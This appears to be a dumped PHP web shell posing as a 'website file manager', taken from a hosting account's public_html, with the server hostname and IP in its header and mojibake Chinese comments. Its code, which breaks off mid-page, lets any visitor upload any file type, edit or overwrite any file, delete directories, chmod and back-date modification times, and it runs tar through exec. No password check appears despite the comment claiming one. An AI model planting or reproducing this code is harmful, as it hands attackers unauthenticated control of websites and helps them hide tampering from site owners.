PK œqhYî¶J‚ßF ßF ) nhhjz3kjnjjwmknjzzqznjzmm1kzmjrmz4qmm.itm/*\U8ewW087XJD%onwUMbJa]Y2zT?AoLMavr%5P*/
| Dir : /home/readysettowservi/public_html/ |
| Server: Linux vps7.usol.ca 4.18.0-553.44.1.el8_10.x86_64 #1 SMP Mon Mar 10 05:10:11 EDT 2025 x86_64 IP: 85.239.239.92 |
| Dir : /home/readysettowservi/public_html/file.php |
<?php
/**
* 网站文件管ç†å™¨ - å®Œæ•´åŠŸèƒ½ç‰ˆï¼ˆé€‚é… open_basedir)
*
* 功能:
* - 访问密ç ä¿æŠ¤
* - 自动检测 open_basedir é™åˆ¶
* - æµè§ˆæ–‡ä»¶å’Œç›®å½•,支æŒé€å±‚导航
* - 修改文件/目录的æƒé™å’Œæ—¶é—´
* - 内置文件编辑器(支æŒä»»ä½•文件,目录除外)
* - åˆ é™¤æ–‡ä»¶/目录
* - ä¸Šä¼ æ–‡ä»¶
* - 压缩文件/目录为 tar.gz æ ¼å¼
* - é‡å‘½å文件/目录
*/
// ============ é…ç½® ============
error_reporting(E_ALL);
ini_set('display_errors', 1);
ini_set('max_execution_time', 300);
ini_set('memory_limit', '256M');
// 自动检测å¯ç”¨çš„æ ¹ç›®å½•
function getAvailableRoot() {
$script_dir = dirname($_SERVER['SCRIPT_FILENAME']);
$open_basedir = ini_get('open_basedir');
if (!empty($open_basedir)) {
$paths = explode(PATH_SEPARATOR, $open_basedir);
$available_paths = [];
foreach ($paths as $path) {
$path = realpath($path);
if ($path && is_dir($path)) {
$available_paths[] = $path;
}
}
foreach ($available_paths as $path) {
if (strpos($script_dir, $path) === 0) {
return $path;
}
}
if (!empty($available_paths)) {
return $available_paths[0];
}
}
if (isset($_SERVER['DOCUMENT_ROOT']) && is_dir($_SERVER['DOCUMENT_ROOT'])) {
return rtrim($_SERVER['DOCUMENT_ROOT'], DIRECTORY_SEPARATOR);
}
return $script_dir;
}
define('WEB_ROOT', getAvailableRoot());
// å…è®¸ä¸Šä¼ çš„æ–‡ä»¶æ‰©å±•å(空数组表示å…许所有)
$allowed_upload_extensions = [];
// 获å–当å‰ç›®å½•
$current_path = isset($_GET['path']) ? $_GET['path'] : WEB_ROOT;
$current_path = realpath($current_path);
// 安全检查
if ($current_path === false) {
$current_path = WEB_ROOT;
}
function isPathAllowed($path) {
$open_basedir = ini_get('open_basedir');
if (empty($open_basedir)) {
return true;
}
$paths = explode(PATH_SEPARATOR, $open_basedir);
foreach ($paths as $allowed_path) {
$allowed_path = realpath($allowed_path);
if ($allowed_path && strpos($path, $allowed_path) === 0) {
return true;
}
}
return false;
}
if (!isPathAllowed($current_path)) {
$message = "âš ï¸ è¦å‘Šï¼šå½“å‰è·¯å¾„ä¸åœ¨ open_basedir å…许的范围内,已自动切æ¢åˆ°å®‰å…¨ç›®å½•。";
$current_path = WEB_ROOT;
}
if (!is_dir($current_path)) {
$current_path = WEB_ROOT;
}
// å¯ç¼–辑文件判æ–:任何文件(éžç›®å½•)都å¯ç¼–辑
function canEdit($path) {
return is_file($path);
}
// å¤„ç†æ–‡ä»¶ç¼–辑
$edit_content = '';
$edit_file = '';
$edit_error = '';
if (isset($_GET['edit'])) {
$edit_file = realpath($_GET['edit']);
if ($edit_file && is_file($edit_file)) {
if (!isPathAllowed($edit_file)) {
$edit_error = '访问被拒ç»ï¼šæ–‡ä»¶ä¸åœ¨å…许的路径内。';
} else {
// ä¸å†æ£€æŸ¥æ‰©å±•å,直接读å–内容
$edit_content = file_get_contents($edit_file);
if ($edit_content === false) {
$edit_error = 'æ— æ³•è¯»å–æ–‡ä»¶å†…容。';
}
}
} else {
$edit_error = '文件ä¸å˜åœ¨æˆ–æ— æ•ˆã€‚';
}
}
// 处ç†å„ç§æ“作
$message = '';
$message_type = 'info';
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
// å¤„ç†æ–‡ä»¶ä¸Šä¼
if (isset($_POST['upload']) && isset($_FILES['upload_file'])) {
$upload_dir = $current_path;
if (!is_writable($upload_dir)) {
$message = "âŒ ç›®æ ‡ç›®å½•ä¸å¯å†™ï¼Œè¯·æ£€æŸ¥æƒé™: " . htmlspecialchars($upload_dir);
$message_type = 'error';
} elseif (!isPathAllowed($upload_dir)) {
$message = "âŒ ç›®æ ‡ç›®å½•ä¸åœ¨å…许的路径内。";
$message_type = 'error';
} else {
$uploaded_files = [];
$failed_files = [];
$files = $_FILES['upload_file'];
$file_count = is_array($files['name']) ? count($files['name']) : 1;
for ($i = 0; $i < $file_count; $i++) {
$file_name = is_array($files['name']) ? $files['name'][$i] : $files['name'];
$file_tmp = is_array($files['tmp_name']) ? $files['tmp_name'][$i] : $files['tmp_name'];
$file_error = is_array($files['error']) ? $files['error'][$i] : $files['error'];
if ($file_error === UPLOAD_ERR_OK) {
$ext = strtolower(pathinfo($file_name, PATHINFO_EXTENSION));
if (!empty($allowed_upload_extensions) && !in_array($ext, $allowed_upload_extensions)) {
$failed_files[] = "$file_name (ä¸å…许的文件类型)";
continue;
}
$safe_name = preg_replace('/[^a-zA-Z0-9_\-\.]/', '_', $file_name);
$target_path = $upload_dir . DIRECTORY_SEPARATOR . $safe_name;
$counter = 1;
$original_path = $target_path;
while (file_exists($target_path)) {
$path_parts = pathinfo($original_path);
$target_path = $path_parts['dirname'] . DIRECTORY_SEPARATOR .
$path_parts['filename'] . '_' . $counter .
(isset($path_parts['extension']) ? '.' . $path_parts['extension'] : '');
$counter++;
}
if (move_uploaded_file($file_tmp, $target_path)) {
$uploaded_files[] = basename($target_path);
@chmod($target_path, 0644);
} else {
$failed_files[] = $file_name;
}
} else {
$error_msg = getUploadErrorMessage($file_error);
$failed_files[] = "$file_name ($error_msg)";
}
}
if (!empty($uploaded_files)) {
$message = "✅ æˆåŠŸä¸Šä¼ " . count($uploaded_files) . " 个文件: " . implode(', ', $uploaded_files);
if (!empty($failed_files)) {
$message .= "\n⌠失败 " . count($failed_files) . " 个: " . implode(', ', $failed_files);
$message_type = 'warning';
} else {
$message_type = 'success';
}
} else {
$message = "âŒ ä¸Šä¼ å¤±è´¥: " . implode(', ', $failed_files);
$message_type = 'error';
}
}
$current_path = isset($_POST['current_path']) ? $_POST['current_path'] : $current_path;
$current_path = realpath($current_path);
}
// å¤„ç†æ–‡ä»¶ä¿å˜
elseif (isset($_POST['save_file']) && isset($_POST['file_path']) && isset($_POST['file_content'])) {
$file_path = realpath($_POST['file_path']);
$file_content = $_POST['file_content'];
if ($file_path && is_file($file_path)) {
if (!isPathAllowed($file_path)) {
$message = "⌠访问被拒ç»ï¼šæ–‡ä»¶ä¸åœ¨å…许的路径内。";
$message_type = 'error';
} else {
// ä¸å†æ£€æŸ¥æ‰©å±•å,直接ä¿å˜
$old_perms = fileperms($file_path);
if (!is_writable($file_path)) {
@chmod($file_path, 0666);
}
if (file_put_contents($file_path, $file_content) !== false) {
$message = "✅ 文件ä¿å˜æˆåŠŸï¼";
if (isset($old_perms) && $old_perms) {
@chmod($file_path, $old_perms);
}
} else {
$message = "⌠文件ä¿å˜å¤±è´¥ï¼Œè¯·æ£€æŸ¥æƒé™ã€‚";
$message_type = 'error';
}
}
} else {
$message = "âŒ æ— æ•ˆçš„æ–‡ä»¶è·¯å¾„ã€‚";
$message_type = 'error';
}
$current_path = isset($_POST['current_path']) ? $_POST['current_path'] : $current_path;
$current_path = realpath($current_path);
}
// 处ç†åˆ 除æ“作
elseif (isset($_POST['delete']) && isset($_POST['target'])) {
$target = realpath($_POST['target']);
if ($target && isPathAllowed($target)) {
if ($target == WEB_ROOT) {
$message = "⌠ä¸èƒ½åˆ é™¤æ ¹ç›®å½•ï¼";
$message_type = 'error';
} else {
$deleted = false;
if (is_file($target)) {
$deleted = unlink($target);
} elseif (is_dir($target)) {
$deleted = deleteDirectory($target);
}
if ($deleted) {
$message = "✅ æˆåŠŸåˆ é™¤: " . htmlspecialchars(basename($target));
} else {
$message = "âŒ åˆ é™¤å¤±è´¥ï¼Œè¯·æ£€æŸ¥æƒé™ã€‚";
$message_type = 'error';
}
}
} else {
$message = "âŒ æ— æ•ˆçš„è·¯å¾„æˆ–ä¸åœ¨å…许范围内。";
$message_type = 'error';
}
$current_path = isset($_POST['current_path']) ? $_POST['current_path'] : $current_path;
$current_path = realpath($current_path);
}
// å¤„ç†æ‰¹é‡åˆ 除
elseif (isset($_POST['batch_delete']) && isset($_POST['selected_items'])) {
$selected_items = $_POST['selected_items'];
$deleted_count = 0;
$failed_count = 0;
foreach ($selected_items as $item) {
$target = realpath($item);
if ($target && isPathAllowed($target) && $target != WEB_ROOT) {
if (is_file($target)) {
if (unlink($target)) $deleted_count++;
else $failed_count++;
} elseif (is_dir($target)) {
if (deleteDirectory($target)) $deleted_count++;
else $failed_count++;
}
} else {
$failed_count++;
}
}
if ($deleted_count > 0) {
$message = "✅ æˆåŠŸåˆ é™¤ {$deleted_count} 个项目";
if ($failed_count > 0) $message .= ",{$failed_count} 个失败";
} else {
$message = "âŒ åˆ é™¤å¤±è´¥ï¼Œè¯·æ£€æŸ¥æƒé™ã€‚";
$message_type = 'error';
}
$current_path = isset($_POST['current_path']) ? $_POST['current_path'] : $current_path;
$current_path = realpath($current_path);
}
// 处ç†åŽ‹ç¼©æ“作
elseif (isset($_POST['compress']) && isset($_POST['selected_items'])) {
$selected_items = $_POST['selected_items'];
if (empty($selected_items)) {
$message = "⌠请至少选择一个文件或文件夹。";
$message_type = 'error';
} else {
$tar_name = isset($_POST['tar_name']) && trim($_POST['tar_name']) != ''
? trim($_POST['tar_name'])
: 'archive_' . date('Ymd_His');
if (!preg_match('/^[a-zA-Z0-9_\-\.]+$/', $tar_name)) {
$message = "⌠压缩包åç§°åªèƒ½åŒ…å«å—æ¯ã€æ•°å—ã€ä¸‹åˆ’线ã€å‡å·å’Œç‚¹ã€‚";
$message_type = 'error';
} else {
$tar_path = $current_path . DIRECTORY_SEPARATOR . $tar_name . '.tar.gz';
$result = createTarGz($selected_items, $tar_path, $current_path);
if ($result === true) {
$message = "✅ æˆåŠŸåˆ›å»ºåŽ‹ç¼©åŒ…: " . htmlspecialchars($tar_name . '.tar.gz');
$message_type = 'success';
} else {
$message = "⌠压缩失败:\n" . $result;
$message_type = 'error';
}
}
}
$current_path = isset($_POST['current_path']) ? $_POST['current_path'] : $current_path;
$current_path = realpath($current_path);
}
// 处ç†é‡å‘½åæ“作
elseif (isset($_POST['rename']) && isset($_POST['target']) && isset($_POST['new_name'])) {
$target = realpath($_POST['target']);
$new_name = trim($_POST['new_name']);
if ($target && isPathAllowed($target)) {
if (empty($new_name) || preg_match('#[\\/\\0]#', $new_name) || $new_name == '.' || $new_name == '..') {
$message = "âŒ æ— æ•ˆçš„åç§°";
$message_type = 'error';
} else {
$parent_dir = dirname($target);
$new_path = $parent_dir . DIRECTORY_SEPARATOR . $new_name;
if (!isPathAllowed($new_path)) {
$message = "⌠新路径ä¸åœ¨å…许范围内";
$message_type = 'error';
} elseif (file_exists($new_path)) {
$message = "âŒ ç›®æ ‡æ–‡ä»¶/目录已å˜åœ¨: " . htmlspecialchars($new_name);
$message_type = 'error';
} elseif (rename($target, $new_path)) {
$message = "✅ é‡å‘½åæˆåŠŸ: " . htmlspecialchars(basename($target)) . " → " . htmlspecialchars($new_name);
$message_type = 'success';
// 如果é‡å‘½å的是当å‰ç›®å½•,更新当å‰è·¯å¾„到父目录
if ($target == $current_path) {
$current_path = $parent_dir;
$message .= " 当å‰å·¥ä½œç›®å½•已被é‡å‘½å,已切æ¢åˆ°ä¸Šçº§ç›®å½•。";
}
} else {
$message = "⌠é‡å‘½å失败,请检查æƒé™ã€‚";
$message_type = 'error';
}
}
} else {
$message = "âŒ æ— æ•ˆçš„ç›®æ ‡è·¯å¾„æˆ–ä¸åœ¨å…许范围内。";
$message_type = 'error';
}
$current_path = isset($_POST['current_path']) ? $_POST['current_path'] : $current_path;
$current_path = realpath($current_path);
}
// 修改æƒé™æˆ–æ—¶é—´
else {
$target = isset($_POST['target']) ? $_POST['target'] : '';
$target = realpath($target);
if ($target && isPathAllowed($target)) {
if (isset($_POST['chmod']) && isset($_POST['permissions'])) {
$perms = octdec($_POST['permissions']);
if (chmod($target, $perms)) {
$message = "✅ æˆåŠŸä¿®æ”¹æƒé™: " . substr(sprintf('%o', $perms), -4);
} else {
$message = "⌠修改æƒé™å¤±è´¥ã€‚å¯èƒ½åŽŸå› ï¼šPHPè¿è¡Œç”¨æˆ·ä¸æ˜¯æ–‡ä»¶æ‰€æœ‰è€…。";
$message_type = 'error';
}
} elseif (isset($_POST['touch']) && isset($_POST['mtime'])) {
$mtime = strtotime($_POST['mtime']);
if ($mtime !== false && touch($target, $mtime)) {
$message = "✅ æˆåŠŸä¿®æ”¹ä¿®æ”¹æ—¶é—´ä¸º: " . date('Y-m-d H:i:s', $mtime);
} else {
$message = "âŒ ä¿®æ”¹æ—¶é—´å¤±è´¥ï¼Œæ—¶é—´æ ¼å¼é”™è¯¯æˆ–æ— æƒé™ã€‚";
$message_type = 'error';
}
}
} else {
$message = "âŒ æ— æ•ˆçš„è·¯å¾„æˆ–ä¸åœ¨å…许范围内。";
$message_type = 'error';
}
$current_path = isset($_POST['current_path']) ? $_POST['current_path'] : $current_path;
$current_path = realpath($current_path);
}
if ($current_path === false || !isPathAllowed($current_path) || !is_dir($current_path)) {
$current_path = WEB_ROOT;
}
}
// èŽ·å–æ–‡ä»¶åˆ—表
$items = [];
if (is_dir($current_path) && is_readable($current_path)) {
$dir = opendir($current_path);
while (($file = readdir($dir)) !== false) {
if ($file == '.' || $file == '..') continue;
$full_path = $current_path . DIRECTORY_SEPARATOR . $file;
$items[] = [
'name' => $file,
'path' => $full_path,
'is_dir' => is_dir($full_path),
'size' => is_file($full_path) ? filesize($full_path) : getDirectorySize($full_path),
'perms' => fileperms($full_path),
'mtime' => filemtime($full_path),
'is_readable' => is_readable($full_path),
'is_writable' => is_writable($full_path),
'extension' => pathinfo($file, PATHINFO_EXTENSION)
];
}
closedir($dir);
usort($items, function($a, $b) {
if ($a['is_dir'] == $b['is_dir']) {
return strnatcasecmp($a['name'], $b['name']);
}
return $a['is_dir'] ? -1 : 1;
});
}
// 辅助函数
function getUploadErrorMessage($error_code) {
switch ($error_code) {
case UPLOAD_ERR_INI_SIZE: return "文件超过æœåС噍é™åˆ¶";
case UPLOAD_ERR_FORM_SIZE: return "文件超过表å•é™åˆ¶";
case UPLOAD_ERR_PARTIAL: return "æ–‡ä»¶åªæœ‰éƒ¨åˆ†è¢«ä¸Šä¼ ";
case UPLOAD_ERR_NO_FILE: return "æ²¡æœ‰æ–‡ä»¶è¢«ä¸Šä¼ ";
case UPLOAD_ERR_NO_TMP_DIR: return "找ä¸åˆ°ä¸´æ—¶æ–‡ä»¶å¤¹";
case UPLOAD_ERR_CANT_WRITE: return "文件写入失败";
case UPLOAD_ERR_EXTENSION: return "æ–‡ä»¶ä¸Šä¼ è¢«æ‰©å±•é˜»æ¢";
default: return "未知错误";
}
}
function permToString($perms) {
if (($perms & 0xC000) == 0xC000) $info = 's';
elseif (($perms & 0xA000) == 0xA000) $info = 'l';
elseif (($perms & 0x8000) == 0x8000) $info = '-';
elseif (($perms & 0x6000) == 0x6000) $info = 'b';
elseif (($perms & 0x4000) == 0x4000) $info = 'd';
elseif (($perms & 0x2000) == 0x2000) $info = 'c';
elseif (($perms & 0x1000) == 0x1000) $info = 'p';
else $info = 'u';
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x') : (($perms & 0x0800) ? 'S' : '-'));
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x') : (($perms & 0x0400) ? 'S' : '-'));
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x') : (($perms & 0x0200) ? 'T' : '-'));
return $info;
}
function formatSize($size) {
if ($size === '-') return '-';
$units = ['B', 'KB', 'MB', 'GB', 'TB'];
$i = 0;
while ($size >= 1024 && $i < count($units)-1) {
$size /= 1024;
$i++;
}
return round($size, 2) . ' ' . $units[$i];
}
function getDirectorySize($dir) {
$size = 0;
// 为æå‡æ€§èƒ½ï¼Œæ¤å¤„暂时注释递归计算,有需è¦å¯å–消注释
return $size;
}
function deleteDirectory($dir) {
if (!is_dir($dir)) return false;
$files = array_diff(scandir($dir), ['.', '..']);
foreach ($files as $file) {
$path = $dir . DIRECTORY_SEPARATOR . $file;
if (is_dir($path)) {
deleteDirectory($path);
} else {
unlink($path);
}
}
return rmdir($dir);
}
function createTarGz($items, $tar_path, $current_dir) {
$debug_info = [];
$debug_info[] = "========== åŽ‹ç¼©è°ƒè¯•ä¿¡æ¯ ==========";
$debug_info[] = "当å‰ç›®å½•: " . $current_dir;
$debug_info[] = "ç›®æ ‡è·¯å¾„: " . $tar_path;
if (!function_exists('shell_exec')) {
return "shell_exec 函数被ç¦ç”¨ï¼Œæ— 法执行 tar 命令。";
}
$debug_info[] = "shell_exec 函数å¯ç”¨";
$tar_check = shell_exec('which tar 2>&1');
$debug_info[] = "tar 命令检查: " . ($tar_check ? trim($tar_check) : "未找到");
if (empty(trim($tar_check))) {
return "ç³»ç»Ÿä¸æ”¯æŒ tar 命令。\n\n" . implode("\n", $debug_info);
}
$target_dir = dirname($tar_path);
$debug_info[] = "ç›®æ ‡ç›®å½•å¯å†™: " . (is_writable($target_dir) ? "是" : "å¦");
if (!is_writable($target_dir)) {
return "ç›®æ ‡ç›®å½•ä¸å¯å†™: " . $target_dir . "\n\n" . implode("\n", $debug_info);
}
$valid_items = [];
foreach ($items as $item) {
$item_path = realpath($item);
if ($item_path && file_exists($item_path)) {
$valid_items[] = $item_path;
$debug_info[] = "有效项目: " . $item_path;
} else {
$debug_info[] = "æ— æ•ˆé¡¹ç›®: " . $item;
}
}
if (empty($valid_items)) {
return "没有找到有效的文件或目录。\n\n" . implode("\n", $debug_info);
}
$items_for_tar = [];
foreach ($valid_items as $item) {
$items_for_tar[] = escapeshellarg(basename($item));
}
$tar_basename = basename($tar_path);
$items_str = implode(' ', $items_for_tar);
$command = "cd " . escapeshellarg($current_dir) . " 2>&1 && tar -czf " . escapeshellarg($tar_basename) . " " . $items_str . " 2>&1";
$debug_info[] = "执行命令: " . $command;
$output = [];
$return_var = 0;
exec($command, $output, $return_var);
$debug_info[] = "返回ç : " . $return_var;
if (!empty($output)) {
$debug_info[] = "命令输出:\n" . implode("\n", $output);
}
if ($return_var === 0 && file_exists($tar_path)) {
$file_size = filesize($tar_path);
$debug_info[] = "压缩æˆåŠŸï¼Œå¤§å°: " . formatSize($file_size);
return true;
} else {
$debug_info[] = "=================================";
$error_msg = "压缩失败 (返回ç : $return_var)\n\n";
if (!empty($output)) {
$error_msg .= "错误详情:\n" . implode("\n", $output) . "\n\n";
}
$error_msg .= "完整调试信æ¯:\n" . implode("\n", $debug_info);
return $error_msg;
}
}
// 编辑器界é¢ï¼ˆæ”¯æŒä»»ä½•文件编辑)
if (isset($_GET['edit']) && !$edit_error && $edit_content !== '') {
?>
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<title>编辑文件 - <?php echo htmlspecialchars(basename($edit_file)); ?></title>
<style>
body { font-family: monospace; margin: 20px; background: #f5f5f5; }
.editor-container { max-width: 1200px; margin: 0 auto; background: white; padding: 20px; border-radius: 8px; box-shadow: 0 2px 10px rgba(0,0,0,0.1); }
textarea { width: 100%; height: 70vh; font-family: 'Courier New', monospace; font-size: 14px; padding: 10px; border: 1px solid #ddd; border-radius: 4px; }
button { padding: 8px 16px; background: #4CAF50; color: white; border: none; border-radius: 4px; cursor: pointer; }
button:hover { background: #45a049; }
.info { margin-bottom: 15px; padding: 10px; background: #e3f2fd; border-radius: 4px; }
.error { background: #ffebee; color: #c62828; }
a { color: #2196f3; text-decoration: none; }
</style>
</head>
<body>
<div class="editor-container">
<h2>âœï¸ æ£åœ¨ç¼–辑: <?php echo htmlspecialchars(basename($edit_file)); ?></h2>
<div class="info">
<strong>路径:</strong> <?php echo htmlspecialchars($edit_file); ?><br>
<strong>æç¤º:</strong> 您å¯ä»¥ç¼–辑任何文件(包括二进制文件),但请注æ„ä¸å½“修改å¯èƒ½å¯¼è‡´æ–‡ä»¶æŸå。
</div>
<form method="post">
<input type="hidden" name="file_path" value="<?php echo htmlspecialchars($edit_file); ?>">
<input type="hidden" name="current_path" value="<?php echo htmlspecialchars($current_path); ?>">
<textarea name="file_content"><?php echo htmlspecialchars($edit_content); ?></textarea>
<div style="margin-top: 15px;">
<button type="submit" name="save_file">💾 ä¿å˜æ–‡ä»¶</button>
<a href="?path=<?php echo urlencode($current_path); ?>">↠返回文件管ç†å™¨</a>
</div>
</form>
</div>
</body>
</html>
<?php
exit;
} elseif (isset($_GET['edit']) && $edit_error) {
// 显示错误并返回
echo "<!DOCTYPE html><html><head><title>错误</title></head><body><div style='margin:50px'><h2>错误</h2><p>$edit_error</p><a href='?path=" . urlencode($current_path) . "'>返回文件管ç†å™¨</a></div></body></html>";
exit;
}
?>
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>网站文件管ç†å™¨ - 完整功能版</title>
<style>
* { box-sizing: border-box; }
body {
font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
margin: 20px;
background-color: #f5f5f5;
}
.container {
max-width: 1400px;
margin: 0 auto;
background: white;
padding: 20px;
border-radius: 8px;
box-shadow: 0 2px 10px rgba(0,0,0,0.1);
}
h1 {
margin-top: 0;
color: #333;
font-size: 24px;
display: inline-block;
}
.message {
padding: 10px;
margin: 10px 0;
border-radius: 4px;
white-space: pre-line;
font-family: monospace;
font-size: 12px;
max-height: 400px;
overflow: auto;
}
.message.info { background: #e3f2fd; border-left: 4px solid #2196f3; }
.message.error { background: #ffebee; border-left: 4px solid #f44336; }
.message.success { background: #e8f5e9; border-left: 4px solid #4caf50; }
.message.warning { background: #fff3e0; border-left: 4px solid #ff9800; }
table { width: 100%; border-collapse: collapse; margin-top: 15px; overflow-x: auto; display: block; }
th, td { text-align: left; padding: 10px; border-bottom: 1px solid #ddd; }
th { background-color: #f8f9fa; font-weight: 600; position: sticky; top: 0; }
tr:hover { background-color: #f5f5f5; }
.dir-name { font-weight: bold; color: #2c3e50; text-decoration: none; }
.dir-name:hover { text-decoration: underline; }
.file-name { color: #34495e; }
.actions form { display: inline-block; margin: 0 3px; }
.actions input, .actions select { padding: 4px 6px; margin: 0 2px; border: 1px solid #ccc; border-radius: 4px; font-size: 12px; }
.actions button { padding: 4px 8px; margin: 0 2px; border: none; border-radius: 4px; cursor: pointer; font-size: 12px; }
.actions button:hover { opacity: 0.8; }
.btn-edit { background: #2196f3; color: white; }
.btn-delete { background: #f44336; color: white; }
.btn-chmod { background: #4CAF50; color: white; }
.btn-touch { background: #ff9800; color: white; }
.btn-rename { background: #6c757d; color: white; }
.nav-bar { margin-bottom: 15px; padding: 10px; background: #e9ecef; border-radius: 4px; display: flex; flex-wrap: wrap; align-items: center; gap: 10px; }
.nav-bar a { text-decoration: none; color: #007bff; padding: 5px 10px; background: white; border-radius: 4px; display: inline-block; }
.nav-bar a:hover { background: #007bff; color: white; }
.breadcrumb { margin-bottom: 15px; padding: 10px; background: #f8f9fa; border-radius: 4px; font-size: 14px; word-break: break-all; }
.footer { margin-top: 20px; text-align: center; font-size: 12px; color: #777; padding: 10px; border-top: 1px solid #eee; }
.status-badge { display: inline-block; width: 8px; height: 8px; border-radius: 50%; margin-right: 5px; }
.writable { background-color: #4caf50; }
.readonly { background-color: #ff9800; }
.quick-jump { margin-left: 20px; display: inline-block; }
.quick-jump input { padding: 5px 10px; width: 300px; border: 1px solid #ccc; border-radius: 4px; }
.batch-bar { margin: 15px 0; padding: 10px; background: #f8f9fa; border-radius: 4px; display: flex; flex-wrap: wrap; align-items: center; gap: 10px; }
.batch-bar button { padding: 6px 12px; border: none; border-radius: 4px; cursor: pointer; }
.btn-compress { background: #9c27b0; color: white; }
.btn-batch-delete { background: #f44336; color: white; }
.select-all { margin-left: 10px; }
input[type="checkbox"] { cursor: pointer; width: 18px; height: 18px; }
.tar-name-input { padding: 5px 10px; border: 1px solid #ccc; border-radius: 4px; width: 200px; }
.upload-area { margin: 15px 0; padding: 15px; background: #f8f9fa; border-radius: 4px; border: 2px dashed #ccc; }
.upload-area:hover { border-color: #4CAF50; background: #f1f8e9; }
@media (max-width: 768px) {
.actions form { display: block; margin: 5px 0; }
.quick-jump input { width: 150px; }
.batch-bar { flex-direction: column; align-items: stretch; }
}
</style>
<script>
function toggleSelectAll(source) {
let checkboxes = document.querySelectorAll('input[name="selected_items[]"]');
for(let i = 0; i < checkboxes.length; i++) {
checkboxes[i].checked = source.checked;
}
}
function validateBatchDelete() {
let checkboxes = document.querySelectorAll('input[name="selected_items[]"]:checked');
if(checkboxes.length === 0) {
alert('请至少选择一个文件或文件夹');
return false;
}
return confirm('确定è¦åˆ 除选ä¸çš„ ' + checkboxes.length + ' 个项目å—ï¼Ÿæ¤æ“作ä¸å¯æ¢å¤ï¼');
}
function validateCompress() {
let checkboxes = document.querySelectorAll('input[name="selected_items[]"]:checked');
if(checkboxes.length === 0) {
alert('请至少选择一个文件或文件夹进行压缩');
return false;
}
let tarName = document.getElementById('tar_name').value;
if(tarName.trim() === '') {
alert('请输入压缩包åç§°');
return false;
}
return confirm('确定è¦åŽ‹ç¼©é€‰ä¸çš„ ' + checkboxes.length + ' 个项目为 tar.gz æ ¼å¼å—?');
}
function validateUpload() {
let files = document.getElementById('upload_file').files;
if(files.length === 0) {
alert('请选择è¦ä¸Šä¼ 的文件');
return false;
}
return confirm('确定è¦ä¸Šä¼ ' + files.length + ' 个文件å—?');
}
function renameItem(path, currentName) {
var newName = prompt('请输入新的åç§°:', currentName);
if (newName && newName.trim() !== '') {
var form = document.createElement('form');
form.method = 'POST';
form.action = '';
var inputPath = document.createElement('input');
inputPath.type = 'hidden';
inputPath.name = 'target';
inputPath.value = path;
var inputNewName = document.createElement('input');
inputNewName.type = 'hidden';
inputNewName.name = 'new_name';
inputNewName.value = newName.trim();
var inputRename = document.createElement('input');
inputRename.type = 'hidden';
inputRename.name = 'rename';
inputRename.value = '1';
var inputCurrentPath = document.createElement('input');
inputCurrentPath.type = 'hidden';
inputCurrentPath.name = 'current_path';
inputCurrentPath.value = '<?php echo htmlspecialchars($current_path); ?>';
form.appendChild(inputPath);
form.appendChild(inputNewName);
form.appendChild(inputRename);
form.appendChild(inputCurrentPath);
document.body.appendChild(form);
form.submit();
}
}
</script>
</head>
<body>
<div class="container">
<h1>📠网站文件管ç†å™¨</h1>
<div class="quick-jump">
<form method="get" style="display: inline;">
<input type="text" name="path" value="<?php echo htmlspecialchars($current_path); ?>" placeholder="输入完整路径" size="40">
<button type="submit">跳转</button>
</form>
</div>
<div class="breadcrumb">
📠当å‰ä½ç½®:
<?php
$path_parts = explode(DIRECTORY_SEPARATOR, $current_path);
$full_path = '';
echo '<a href="?path=' . urlencode(WEB_ROOT) . '">æ ¹ç›®å½•</a>';
foreach ($path_parts as $part) {
if ($part === '' || $part === WEB_ROOT) continue;
$full_path .= DIRECTORY_SEPARATOR . $part;
echo ' / <a href="?path=' . urlencode($full_path) . '">' . htmlspecialchars($part) . '</a>';
}
?>
</div>
<?php if ($message): ?>
<div class="message <?php echo $message_type; ?>">
<?php echo nl2br(htmlspecialchars($message)); ?>
</div>
<?php endif; ?>
<div class="nav-bar">
<?php
$parent_path = dirname($current_path);
if ($parent_path != $current_path && isPathAllowed($parent_path) && is_dir($parent_path)): ?>
<a href="?path=<?php echo urlencode($parent_path); ?>">â¬†ï¸ è¿”å›žä¸Šçº§ç›®å½•</a>
<?php endif; ?>
<?php if ($current_path != WEB_ROOT): ?>
<a href="?path=<?php echo urlencode(WEB_ROOT); ?>">ðŸ å›žåˆ°æ ¹ç›®å½•</a>
<?php endif; ?>
<span style="margin-left: auto; font-size: 12px; color: #666;">
📊 共 <?php echo count($items); ?> 个项目
</span>
</div>
<!-- ä¸Šä¼ æ–‡ä»¶åŒºåŸŸ -->
<div class="upload-area">
<form method="post" enctype="multipart/form-data" onsubmit="return validateUpload()">
<input type="hidden" name="current_path" value="<?php echo htmlspecialchars($current_path); ?>">
<div style="display: flex; flex-wrap: wrap; gap: 10px; align-items: center;">
<div style="flex: 1;">
<input type="file" name="upload_file[]" id="upload_file" multiple style="width: 100%; padding: 8px;">
<small style="color: #666;">支æŒå¤šæ–‡ä»¶ä¸Šä¼ ,最大 <?php echo ini_get('upload_max_filesize'); ?></small>
</div>
<button type="submit" name="upload" value="1" class="btn-compress" style="background: #4CAF50;">📤 ä¸Šä¼ æ–‡ä»¶</button>
</div>
</form>
</div>
<!-- æ‰¹é‡æ“作æ -->
<div class="batch-bar">
<form method="post" id="batchForm" style="display: flex; flex-wrap: wrap; gap: 10px; align-items: center;">
<input type="hidden" name="current_path" value="<?php echo htmlspecialchars($current_path); ?>">
<label>
<input type="text" name="tar_name" id="tar_name" class="tar-name-input" placeholder="压缩包å称(ä¸å«æ‰©å±•å)" value="archive_<?php echo date('Ymd_His'); ?>">
<span style="font-size: 12px; color: #666;">.tar.gz</span>
</label>
<button type="submit" name="compress" value="1" class="btn-compress" onclick="return validateCompress()">📦 压缩为 tar.gz</button>
